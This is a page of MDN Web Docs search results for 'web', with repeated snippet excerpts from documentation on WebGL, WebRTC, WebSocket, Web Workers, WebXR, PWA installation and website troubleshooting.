WebAPK on Android) or as a shortcut added to their device's screen. This guide explains how installation is performed, what it means, and what you need to do as a developer to let your users take advantage of it. Why installation? The option to install a
web application is part of the Progressive
Web App philosophy--giving
web apps the same user experience advantages as native apps so they can be competitive. Installed applications are more conveniently invoked as they have a presence in a device's home screen or app list or bar. This makes it simple for a user to use a gesture to access an app by tapping or clicking its icon. The application itself ...
...reen or app list or bar. This makes it simple for a user to use a gesture to access an app by tapping or clicking its icon. The application itself may then manifest as in a chromeless view (without the full browser chrome) but it nevertheless is executing effectively as a tab within the browser. For users, the experience of a seemingly-native PWA is more comfortable and convenient than a typical
web site. By reducing the user experience differential between the
web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and
web-based apps. What browsers support installation? Installation is s...
...And 5 more matches
How do you make sure your website works properly? - Learn web development
In this article we go over various troubleshooting steps for a
website and some basic actions to take in order to solve these issues. Prerequisites: You need to know how to upload files to a
web server. Objective: You will learn how to diagnose and resolve some basic issues you can run into with your
website. So you've published your
website online? Very good! But are you sure it works properly? A distant
web server often behaves quite differently from a local one, so it's a good idea to test your
website once it's online. You might be surprised at how many problems come up: images don't show up, pages don't load or load slowly, and so on. Most of the time it's no big deal, just a simple mistake or an issue with your
web hosting configuration. Let's...
...ht be surprised at how many problems come up: images don't show up, pages don't load or load slowly, and so on. Most of the time it's no big deal, just a simple mistake or an issue with your
web hosting configuration. Let's see how to diagnose and solve those problems. Active Learning There is no active learning available yet. Dig deeper Test in your browser If you want to know whether your
website works correctly, the first thing to do is fire up your browser and go to the page you want to test. Uh-oh, where's the image? Let's look at our personal
website, http://demozilla.examplehostingprovider.net/. It's not showing the image we expected! Open Firefox's Network tool (Tools ?
Web Developer ? Network) and reload the page: There's the problem, that "404" at the bottom. "404" mea...
... You aren't allowed to display the resource. Usually it has to do with a configuration mistake (e.g. your hosting provider forgot to give you access rights to a directory). 404: Not found Self-explanatory. We'll discuss how to solve this below. 500: Internal server error Something went wrong on the server. For instance, maybe the server-side language (PHP, .Net, etc.) stopped working, or the
web server itself has a configuration problem. Usually it's best to resort to your hosting provider's support team. 503: Service unavailable Usually resulting from a shortterm system overload. The server has some sort of problem. Try again in a little while. As beginners checking our (simple)
website, we'll deal most often with 200, 304, 403, and 404. Fixing the 404 So what went wrong? At...
...And 4 more matches
WEBGL_compressed_texture_atc - Web APIs
ATC is a proprietary compression algorithm for compressing textures on handheld devices. Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: ATC compression is typically available on mobile devices with Adreno GPUs, that are currently only built into Qualcomm Snapdragon devices. This extension is available to both,
WebGL1 and
WebGL2 contexts. ...
... Constants The compressed texture formats are exposed by 3 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ext.COMPRESSED_RGB_ATC_
WEBGL Compresses RGB textures with no alpha channel. ...
... Constants The compressed texture formats are exposed by 3 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ext.COMPRESSED_RGB_ATC_
WEBGL Compresses RGB textures with no alpha channel. ...
...And 4 more matches
WEBGL_compressed_texture_s3tc - Web APIs
Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Constants The compressed texture formats are exposed by four constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ext.COMPRESSED_RGB_S3TC_DXT1_EXT A DXT1-compressed image in an RGB image format. ...
...f alpha value. ext.COMPRESSED_RGBA_S3TC_DXT3_EXT A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression. ext.COMPRESSED_RGBA_S3TC_DXT5_EXT A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done. ...
...compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression. ext.COMPRESSED_RGBA_S3TC_DXT5_EXT A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done. ...
...And 4 more matches
WebGL2RenderingContext.createQuery() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenQueries' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenQueries' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenQueries' in that specification. ...
...And 4 more matches
WebGL2RenderingContext.createSampler() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenSamplers' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenSamplers' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGenSamplers' in that specification. ...
...And 4 more matches
WebGL2RenderingContext.getTransformFeedbackVarying() - Web APIs
OpenGL ES 3.0The definition of 'glGetTransformFeedbackVarying' in that specification. ...
... OpenGL ES 3.0The definition of 'glGetTransformFeedbackVarying' in that specification. ...
... OpenGL ES 3.0The definition of 'glGetTransformFeedbackVarying' in that specification. ...
...And 4 more matches
WebGLQuery - Web APIs
The
WebGLQuery interface is part of the
WebGL 2 API and provides ways to asynchronously query for information. By default, occlusion queries and primitive queries are available. Another kind of queries are disjoint timer queries, which allow you to measure performance and profiling of your GPU. Disjoint timer queries are available with the EXT_disjoint_timer_query extension only. ...
...
WebGLQuery interface is part of the
WebGL 2 API and provides ways to asynchronously query for information. By default, occlusion queries and primitive queries are available. Another kind of queries are disjoint timer queries, which allow you to measure performance and profiling of your GPU. Disjoint timer queries are available with the EXT_disjoint_timer_query extension only. ...
...and provides ways to asynchronously query for information. By default, occlusion queries and primitive queries are available. Another kind of queries are disjoint timer queries, which allow you to measure performance and profiling of your GPU. Disjoint timer queries are available with the EXT_disjoint_timer_query extension only. ...
...And 4 more matches
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. ...
...Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the render buffer. ...
...ing, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the render buffer. Possible values: gl.COLOR_ATTACHMENT0: color buffer. gl.DEPTH_ATTACHMENT: depth buffer. gl.DEPTH_STENCIL_ATTACHMENT: depth and stencil buffer. gl.STENCIL_ATTACHMENT: stencil buffer. ...
...And 4 more matches
WebGLRenderingContext.framebufferTexture2D() - Web APIs
Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the texture. ...
...Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. ...
... for reading operations. attachment A GLenum specifying the attachment point for the texture. Possible values: gl.COLOR_ATTACHMENT0: Attaches the texture to the framebuffer's color buffer. gl.DEPTH_ATTACHMENT: Attaches the texture to the framebuffer's depth buffer. gl.STENCIL_ATTACHMENT: Attaches the texture to the framebuffer's stencil buffer. When using a
WebGL 2 context, the following values are available additionally: gl.DEPTH_STENCIL_ATTACHMENT: depth and stencil buffer. gl.COLOR_ATTACHMENT1 gl.COLOR_ATTACHMENT2 gl.COLOR_ATTACHMENT3 gl.COLOR_ATTACHMENT4 gl.COLOR_ATTACHMENT5 gl.COLOR_ATTACHMENT6 gl.COLOR_ATTACHMENT7 gl.COLOR_ATTACHMENT8 gl.COLOR_ATTACHMENT9 gl.COLOR_ATTACHMENT10 gl.COLOR_...
...And 4 more matches
A basic 2D WebGL animation example - Web APIs
The coordinate system we use to represent our scene is the same as the canvas's coordinate system. That is, (0, 0) is at the top-left corner and the bottom-right corner is at (600, 460). Vertex shader First, let's take a look at the vertex shader. Its job, as always, is to convert the coordinates we're using for our scene into clipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends from -1.0 to 1.0 regardless of the actual size of the context). ...
...position of the vertex is computed by applying the rotation vector, found in the uniform uRotationVector, that's been computed by the JavaScript code. Then the final position is computed by multiplying the rotated position by the scaling vector provided by the JavaScript code in uScalingFactor. The values of z and w are fixed at 0.0 and 1.0, respectively, since we're drawing in 2D. The standard
WebGL global gl_Position is then set to the transformed and rotated vertex's position. Fragment shader Next comes the fragment shader. Its role is to return the color of each pixel in the shape being rendered. Since we're drawing a solid, untextured object with no lighting applied, this is exceptionally simple: <script id="fragment-shader" type="x-shader/x-fragment"> #ifdef GL_ES precision h...
...#endif uniform vec4 uGlobalColor; void main() { gl_FragColor = uGlobalColor; } </script> This starts by specifying the precision of the float type, as required. Then we set the global gl_FragColor to the value of the uniform uGlobalColor, which is set by the JavaScript code to the color being used to draw the square. HTML The HTML consists solely of the <canvas> that we'll obtain a
WebGL context on. <canvas id="glcanvas" width="600" height="460"> Oh no! Your browser doesn't support canvas! </canvas> JavaScript Globals and initialization First, the global variables. We won't discuss these here; instead, we'll talk about them as they're used in the code to come. let gl = null; let glCanvas = null; // Aspect ratio and coordinate system // details let aspectRatio; let curr...
...And 4 more matches
Matrix math for the web - Web APIs
This article is also available as an MDN content kit. ...
...This article is also available as an MDN content kit. The live examples use a collection of utility functions available under a global object named MDN. ...
...This article is also available as an MDN content kit. The live examples use a collection of utility functions available under a global object named MDN. ...
...And 4 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
Because
WebRTC doesn't mandate a specific transport mechanism for signaling during the negotiation of a new peer connection, it's highly flexible. However, despite that flexibility in transport and communication of signaling messages, there's still a recommended design pattern you should follow when possible, known as perfect negotiation. This article introduces
WebRTC perfect negotiation, describing how it works and why it's the recommended way to negotiate a
WebRTC connection between peers, and provides sample code to demonstrate the technique. After the first deployments of
WebRTC-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases. This was due to a small number of issues with the API and some potenti...
... Perfect negotiation concepts Perfect negotiation makes it possible to seamlessly and completely separate the negotiation process from the rest of your application's logic. ...
...ere more complicated than they needed to be for typical use cases. This was due to a small number of issues with the API and some potential race conditions that needed to be prevented. These issues have since been addressed, letting us simplify our
WebRTC negotiation significantly. The perfect negotiation pattern is an example of the ways in which negotiation have improved since the early days of
WebRTC. Perfect negotiation concepts Perfect negotiation makes it possible to seamlessly and completely separate the negotiation process from the rest of your application's logic. Negotiation is an inherently asymmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." The perfect negotiation pattern smooths this difference away by separating that difference o...
...And 4 more matches
Using DTMF with WebRTC - Web APIs
In order to more fully support audio/video conferencing,
WebRTC supports sending DTMF to the remote peer on an RTCPeerConnection. This article offers a brief high-level overview of how DTMF works over
WebRTC, then provides a guide for everyday developers about how to send DTMF over an RTCPeerConnection. The DTMF system is often referred to as "touch tone," after an old trade name for the system.
WebRTC doesn't send DTMF codes as audio data. Instead, they're sent out-of-band, as RTP payloads. Note, however, that although it's possible to send DTMF using
WebRTC, there is currently no way to detect or receive incoming DTMF. ...
... for everyday developers about how to send DTMF over an RTCPeerConnection. The DTMF system is often referred to as "touch tone," after an old trade name for the system.
WebRTC doesn't send DTMF codes as audio data. Instead, they're sent out-of-band, as RTP payloads. Note, however, that although it's possible to send DTMF using
WebRTC, there is currently no way to detect or receive incoming DTMF. ...
...TCPeerConnection. The DTMF system is often referred to as "touch tone," after an old trade name for the system.
WebRTC doesn't send DTMF codes as audio data. Instead, they're sent out-of-band, as RTP payloads. Note, however, that although it's possible to send DTMF using
WebRTC, there is currently no way to detect or receive incoming DTMF. ...
...And 4 more matches
WebSocket - Web APIs
The
WebSocket object provides the API for creating and managing a
WebSocket connection to a server, as well as for sending and receiving data on the connection. To construct a
WebSocket, use the
WebSocket() constructor. Constructor
WebSocket(url[, protocols]) Returns a newly created
WebSocket object. Constants Constant Value
WebSocket.CONNECTING 0
WebSocket.OPEN 1
WebSocket.CLOSING 2
WebSocket.CLOSED 3 Properties
WebSocket.binaryType The binary data type used by the connection.
WebSocket.bufferedAmount Read only The number of bytes of queued data.
WebSocket.extensions Read only The extensions selected by the server.
WebSocket.onclose An event listener to be called when the connection is closed. ...
...ebSocket.OPEN 1
WebSocket.CLOSING 2
WebSocket.CLOSED 3 Properties
WebSocket.binaryType The binary data type used by the connection.
WebSocket.bufferedAmount Read only The number of bytes of queued data.
WebSocket.extensions Read only The extensions selected by the server.
WebSocket.onclose An event listener to be called when the connection is closed.
WebSocket.onerror An event listener to be called when an error occurs.
WebSocket.onmessage An event listener to be called when a message is received from the server.
WebSocket.onopen An event listener to be called when the connection is opened.
WebSocket.protocol Read only The sub-protocol selected by the server. ...
...ket.onclose An event listener to be called when the connection is closed.
WebSocket.onerror An event listener to be called when an error occurs.
WebSocket.onmessage An event listener to be called when a message is received from the server.
WebSocket.onopen An event listener to be called when the connection is opened.
WebSocket.protocol Read only The sub-protocol selected by the server.
WebSocket.readyState Read only The current state of the connection.
WebSocket.url Read only The absolute URL of the
WebSocket. Methods
WebSocket.close([code[, reason]]) Closes the connection.
WebSocket.send(data) Enqueues data to be transmitted. Events Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface. cl...
...And 4 more matches
Web Workers API - Web APIs
Worker()) that runs a named JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. ...
...Worker()) that runs a named JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. ...
...edWorkerGlobalScope (in the case of shared workers - workers that are shared between multiple scripts). You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the window object. But you can use a large number of items available under window, including
WebSockets, and data storage mechanisms like IndexedDB. See Functions and classes available to workers for more details. Data is sent between workers and the main thread via a system of messages -- both sides send their messages using the postMessage() method, and respond to messages via the onmessage event handler (the message is contained within the Message event's data property). The data is cop...
...And 4 more matches
XRWebGLLayer.framebuffer - Web APIs
The read-only XR
WebGLLayer property framebuffer is an opaque
WebGLFramebuffer which is used to buffer the rendered image if the XR compositor is being used. Otherwise, this property's value is null. The opaque framebuffer is functionally nearly the same as a standard
WebGL framebuffer, except for the differences covered in the section How opaque framebuffers are special below. Syntax let framebuffer = xr
WebGLLayer.framebuffer; Value A
WebGLFramebuffer object representing the framebuffer into which the 3D scene is being rendered, or null if the XR compositor is disabled for the session. Usage notes How opaque framebuffers are special The framebuffer represented by the framebuffer property is opaque. As such, its behavior is different in several ways from a standard
WebGL context. The...
...ing the framebuffer into which the 3D scene is being rendered, or null if the XR compositor is disabled for the session. Usage notes How opaque framebuffers are special The framebuffer represented by the framebuffer property is opaque. As such, its behavior is different in several ways from a standard
WebGL context. ...
... compositor is disabled for the session. Usage notes How opaque framebuffers are special The framebuffer represented by the framebuffer property is opaque. As such, its behavior is different in several ways from a standard
WebGL context. These differences cause the opaque framebuffer to behave more like the default
WebGL framebuffer: Opaque framebuffers may support anti-aliasing, even under
WebGL 1.0, which don't normally do so. Opaque framebuffers' attachments (buffers and the like) can't be inspected or changed. Calling functions such as framebufferTexture2D(), framebufferRenderbuffer(), deleteFramebuffer(), or getFramebufferAttachmentParameter() on an opaque framebuffer results in the
WebGL error INVALID_OPERATION (0x0502). Opaque framebuffers are considered incomplete and are not ...
...And 4 more matches
Exported WebAssembly functions - WebAssembly
Exported
WebAssembly functions are how
WebAssembly functions are represented in JavaScript. This article describes what they are in a little more detail. Exported... what? Exported
WebAssembly functions are basically just JavaScript wrappers that represent
WebAssembly functions in JavaScript. When you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting JavaScript numbers to Int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to JavaScript. You can retrieve exported
WebAssembly functions in two ways: By calling Table.prototype.get() on an existing table. By accessing a function exported from a wasm module instance ...
...ipt point of view, it's as if every wasm function is a JavaScript function too -- but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
...avaScript function too -- but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
...And 4 more matches
Using Web Standards in your Web Pages - Archive of obsolete content
"Browser makers are no longer the problem. The problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -
Web Standards Project This article provides an overview of the process for upgrading the content of your
web pages to conform to the World Wide
Web Consortium (W3C)
web standards. The first 2 sections address exclusively validation issues, benefits of validation, deprecated elements, deprecated attributes. How to upgrade a
webpage markup code to pass validation and how to implement CSS are addressed by providing recommendations, tutorials and references. The other sections address DOM and DHTML coding practices which are at odds wit...
... The next-to-last section, Summary of Changes, outlines all the changes described in this article. ...
... The next-to-last section, Summary of Changes, outlines all the changes described in this article. ...
...And 3 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the
web. ...
...
Web technologies contain long lists of jargon and abbreviations that are used in documentation and coding. This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the
web. Glossary of Terms A Abstraction Accessibility Accessibility tree (AOM) Adobe Flash Ajax Algorithm Alignment container Alignment subject Alpha (alpha channel) ALPN API Apple Safari Application Context Argument ARIA ARPA Arpanet Array ASCII Asynchronous ATAG Attribute B Bandwidth Base64 Baseline beacon ...
... Main Axis Main thread markup MathML Media Media (Audio-visual presentation) Media (CSS) Metadata Method Microsoft Edge Microsoft Internet Explorer Middleware mime MIME type minification MitM Mixin Mobile First Modem Modern
web apps Modularity Mozilla Firefox Mutable MVC N Namespace NaN NAT Native Navigation directive Netscape Navigator Network throttling NNTP Node Node (DOM) Node (networking) Node.js non-normative Normative Null ...
...And 3 more matches
Use JavaScript within a webpage - Learn web development
In this article we're going over the HTML code you need to make JavaScript take effect. ...
...how to trigger JavaScript right from your HTML documents. Prerequisites: You need to be familiar with how to create a basic HTML document. Objective: Learn how to trigger JavaScript in your HTML file, and learn the most important best practices for keeping JavaScript accessible. About JavaScript JavaScript is a programming language mostly used client-side to make
webpages interactive. You can create amazing
webpages without JavaScript, but JavaScript opens up a whole new level of possibilities. In this article we're going over the HTML code you need to make JavaScript take effect. If you want to learn JavaScript itself, you can start with our JavaScript basics article. If you already know something about JavaScript or if you have a background with other pro...
...ect. If you want to learn JavaScript itself, you can start with our JavaScript basics article. If you already know something about JavaScript or if you have a background with other programming languages, we suggest you jump directly into our JavaScript Guide. How to trigger JavaScript from HTML Within a browser, JavaScript doesn't do anything by itself. ...
...And 3 more matches
Server-side website programming - Learn web development
The modules provide a general introduction to server-side programming. Most major
websites use some kind of server-side technology to dynamically display data as required. For example, imagine how many products are available on Amazon, and imagine how many posts have been written on Facebook. ...
... and imagine how many posts have been written on Facebook. Displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using HTML, CSS, and JavaScript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on Amazon. ...
...L, CSS, and JavaScript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on Amazon. In the modern world of
web development, learning about server-side development is highly recommended. Learning pathway Getting started with server-side programming is usually easier than client-side development, because dynamic
websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using
web frameworks that make these and other common
web server operations easy. Basic knowledge of programming concepts (or of a particular program...
...And 3 more matches
HTMLInputElement.webkitEntries - Web APIs
The read-only
webkitEntries property of the HTMLInputElement interface contains an array of file system entries (as objects based on FileSystemEntry) representing files and/or directories selected by the user using an <input> element of type file, but only if that selection was made using drag-and-drop: selecting a file in the dialog will leave the property empty (bug 1326031). The array can only contain directories if the
webkitdirectory property is true. This means the <input> element was configured to let the user choose directories. This property is called
webkitEntries in the specification due to its origins as a Google Chrome-specific API. It's likely to be renamed someday. ...
...More specifically, files are represented by FileSystemFileEntry objects, and, if they're allowed, directories are represented by FileSystemDirectoryEntry objects. ...
... are represented by FileSystemFileEntry objects, and, if they're allowed, directories are represented by FileSystemDirectoryEntry objects. Example This example shows how to create a file selection <input> element and process the selected files. HTML <input id="files" type="file" multiple> JavaScript document.getElementById("files").addEventListener("change", function(event) { event.target.
webkitEntries.forEach(function(entry) { /* do stuff with the entry */ }); }); Each time a change event occurs, this code iterates over the selected files, obtaining their FileSystemEntry-based objects and acting on them. Specifications Specification Status Comment File and Directory Entries APIThe definition of '
webkitEntries' in that specification. Draft I...
...And 3 more matches
Web Push API Notifications best practices - Web APIs
This article provides a useful summary of best practices to keep in mind when developing
web sites and applications that use Push Notifications for user engagement. "If done well, it's nice to have, but if not done well, it's really annoying." -- Overheard conversation between two browser developers discussing the ethics of push notifications. Overview of
web push notifications
Web Push Notifications (created using a combination of the Notifications, Push, and Service Worker APIs) are part of the rising noise that product developers and marketers are using to get attention for their sites. ...
... well, it's really annoying." -- Overheard conversation between two browser developers discussing the ethics of push notifications. Overview of
web push notifications
Web Push Notifications (created using a combination of the Notifications, Push, and Service Worker APIs) are part of the rising noise that product developers and marketers are using to get attention for their sites. Searching the
web for "
web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products. The dark side Their novelty provides a new and unexploited opportunity for enterprising sites to reach potential customers. Has the customer swi...
...ks to recommended products. The dark side Their novelty provides a new and unexploited opportunity for enterprising sites to reach potential customers. Has the customer switched tabs to answer an email? Win them back with an expiring offer of free shipping that they can't ignore! But really, is this the best use of push notifications? Or is it a new iteration on the old and tired pop-up ad? "
Web push doesn't risk ending up in the spam folder. Nor can it be blocked by ad blockers. It shows right up on your desktop even when the
website is shut. In mobile, it shows up in the notification tray, just like app push notifications, even when the browser is not running." -- an unnamed marketing site Positive uses of push But there's a bright and useful side to push notifications, too. Let's s...
...And 3 more matches
WebGL2RenderingContext.deleteQuery() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteQueries' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteQueries' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteQueries' in that specification. ...
...And 3 more matches
WebGL2RenderingContext.deleteSampler() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteSamplers' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteSamplers' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteSamplers' in that specification. ...
...And 3 more matches
WebGLActiveInfo - Web APIs
The
WebGLActiveInfo interface is part of the
WebGL API and represents the information returned by calling the
WebGLRenderingContext.getActiveAttrib() and
WebGLRenderingContext.getActiveUniform() methods. Properties
WebGLActiveInfo.name The read-only name of the requested variable.
WebGLActiveInfo.size The read-only size of the requested variable.
WebGLActiveInfo.type The read-only type of the requested variable. ...
...f the
WebGL API and represents the information returned by calling the
WebGLRenderingContext.getActiveAttrib() and
WebGLRenderingContext.getActiveUniform() methods. Properties
WebGLActiveInfo.name The read-only name of the requested variable.
WebGLActiveInfo.size The read-only size of the requested variable.
WebGLActiveInfo.type The read-only type of the requested variable. ...
...tion returned by calling the
WebGLRenderingContext.getActiveAttrib() and
WebGLRenderingContext.getActiveUniform() methods. Properties
WebGLActiveInfo.name The read-only name of the requested variable.
WebGLActiveInfo.size The read-only size of the requested variable.
WebGLActiveInfo.type The read-only type of the requested variable. ...
...And 3 more matches
WebGLFramebuffer - Web APIs
The
WebGLFramebuffer interface is part of the
WebGL API and represents a collection of buffers that serve as a rendering destination. Description The
WebGLFramebuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLFramebuffer interface is part of the
WebGL API and represents a collection of buffers that serve as a rendering destination. Description The
WebGLFramebuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLFramebuffer interface is part of the
WebGL API and represents a collection of buffers that serve as a rendering destination. Description The
WebGLFramebuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
...And 3 more matches
WebGLRenderbuffer - Web APIs
The
WebGLRenderbuffer interface is part of the
WebGL API and represents a buffer that can contain an image, or can be source or target of an rendering operation. Description The
WebGLRenderbuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLRenderbuffer interface is part of the
WebGL API and represents a buffer that can contain an image, or can be source or target of an rendering operation. Description The
WebGLRenderbuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLRenderbuffer interface is part of the
WebGL API and represents a buffer that can contain an image, or can be source or target of an rendering operation. Description The
WebGLRenderbuffer object does not define any methods or properties of its own and its content is not directly accessible. ...
...And 3 more matches
WebGLRenderingContext.getActiveUniform() - Web APIs
The
WebGLRenderingContext.getActiveUniform() method of the
WebGL API returns a
WebGLActiveInfo object containing size, type, and name of a uniform attribute. It is generally used when querying unknown uniforms either for debugging or generic library creation. Syntax
WebGLActiveInfo
WebGLRenderingContext.getActiveUniform(program, index); Parameters program A
WebGLProgram specifying the
WebGL shader program from which to obtain the uniform variable's information. index A GLuint specifying the index of the uniform attribute to get. This value is an index 0 to N - 1 as returned by gl.getProgramParameter(program, gl.ACTIVE_UNIFORMS). Return value A
WebGLActiveInfo object describing the uniform. The type attribute of the return value will be one of the following: gl.FLOAT gl.FLOA...
....ACTIVE_UNIFORMS). Return value A
WebGLActiveInfo object describing the uniform. ...
...E.g. uniform vec4 a; will result in a. Array of basic type: one entry with the name of the uniform suf...
...And 3 more matches
WebGLRenderingContext.getContextAttributes() - Web APIs
The
WebGLRenderingContext.getContextAttributes() method returns a
WebGLContextAttributes object that contains the actual context parameters. Might return null, if the context is lost. Syntax gl.getContextAttributes(); Return value A
WebGLContextAttributes object that contains the actual context parameters, or null if the context is lost. ...
...ntextAttributes() method returns a
WebGLContextAttributes object that contains the actual context parameters. Might return null, if the context is lost. Syntax gl.getContextAttributes(); Return value A
WebGLContextAttributes object that contains the actual context parameters, or null if the context is lost. ...
...ontext parameters. Might return null, if the context is lost. Syntax gl.getContextAttributes(); Return value A
WebGLContextAttributes object that contains the actual context parameters, or null if the context is lost. ...
...And 3 more matches
WebGLRenderingContext.pixelStorei() - Web APIs
Syntax void gl.pixelStorei(pname, param); Parameters pname A Glenum specifying which parameter to set. See below for possible values. param A GLint specifying a value to set the pname parameter to. See below for possible values. Return value None. Pixel storage parameters Parameter name (for pname) Description Type Default value Allowed values (for param) Specified in gl.PACK_ALIGNMENT Packing of pixel data into memory GLint 4 1, 2, 4, 8 OpenGL ES 2.0 gl.UNPACK_ALIGNMENT Unpacking of pixel data from memory. ...
...ixel storage parameters Parameter name (for pname) Description Type Default value Allowed values (for param) Specified in gl.PACK_ALIGNMENT Packing of pixel data into memory GLint 4 1, 2, 4, 8 OpenGL ES 2.0 gl.UNPACK_ALIGNMENT Unpacking of pixel data from memory. GLint 4 1, 2, 4, 8 OpenGL ES 2.0 gl.UNPACK_FLIP_Y_
WEBGL Flips the source data along its vertical axis if true. GLboolean false true, false
WebGL gl.UNPACK_PREMULTIPLY_ALPHA_
WEBGL Multiplies the alpha channel into the other color channels GLboolean false true, false
WebGL gl.UNPACK_COLORSPACE_CONVERSION_
WEBGL Default color space conversion or no color space conversion. GLenum gl.BROWSER_DEFAULT...
...L Flips the source data along its vertical axis if true. GLboolean false true, false
WebGL gl.UNPACK_PREMULTIPLY_ALPHA_
WEBGL Multiplies the alpha channel into the other color channels GLboolean false true, false
WebGL gl.UNPACK_COLORSPACE_CONVERSION_
WEBGL Default color space conversion or no color space conversion. GLenum gl.BROWSER_DEFAULT_
WEBGL gl.BROWSER_DEFAULT_
WEBGL, gl.NONE
WebGL When using a
WebGL 2 context, the following values are available additionally: Constant Description Type Default value Allowed values (for param) Specified in gl.PACK_ROW_LENGTH Number of pixels in a row. GLint 0 0 to Infinity OpenGL ES 3.0 gl.PACK_SKIP_PIXELS Number of pixel lo...
...And 3 more matches
WebGLRenderingContext.readPixels() - Web APIs
y A GLint specifying the first vertical pixel that is read from the lower left corner of a rectangular block of pixels. width A GLsizei specifying the width of the rectangle. ...
... y A GLint specifying the first vertical pixel that is read from the lower left corner of a rectangular block of pixels. width A GLsizei specifying the width of the rectangle. ...
... y A GLint specifying the first vertical pixel that is read from the lower left corner of a rectangular block of pixels. width A GLsizei specifying the width of the rectangle. ...
...And 3 more matches
WebXR application life cycle - Web APIs
In this guide, we'll get a birds-eye view of what's involved in creating and driving a
WebXR application, without diving down to the code level in detail. This serves as preparation for the next few articles in these
WebXR guides, which cover starting up and shutting down a
WebXR session, geometry, simulating cameras, spatial tracking, and more. Life cycle outline Most applications using
WebXR will follow a similar overall design pattern: Check to see if the user's device and browser are both capable of presenting the XR experience you want to provide. Make sure the
WebXR API is available; if navigator.xr is undefined, you can assume the user's browser and/or device doesn't support
WebXR. If it's not supported, disable any user interface used to activate XR features and abort an...
...rowser are both capable of presenting the XR experience you want to provide. Make sure the
WebXR API is available; if navigator.xr is undefined, you can assume the user's browser and/or device doesn't support
WebXR. If it's not supported, disable any user interface used to activate XR features and abort any attempts to enter XR mode. Call navigator.xr.isSessionSupported(), specifying the
WebXR experience mode you want to provide: inline, immersive-vr, or immersive-ar, in order to determine whether or not the type of session you wish to provide is available. If the session type you want to use is available, provide the appropriate interface to the user to allow them to activate it. ...
... navigator.xr.isSessionSupported(), specifying the
WebXR experience mode you want to provide: inline, immersive-vr, or immersive-ar, in order to determine whether or not the type of session you wish to provide is available. If the session type you want to use is available, provide the appropriate interface to the user to allow them to activate it. When the user requests the activation of
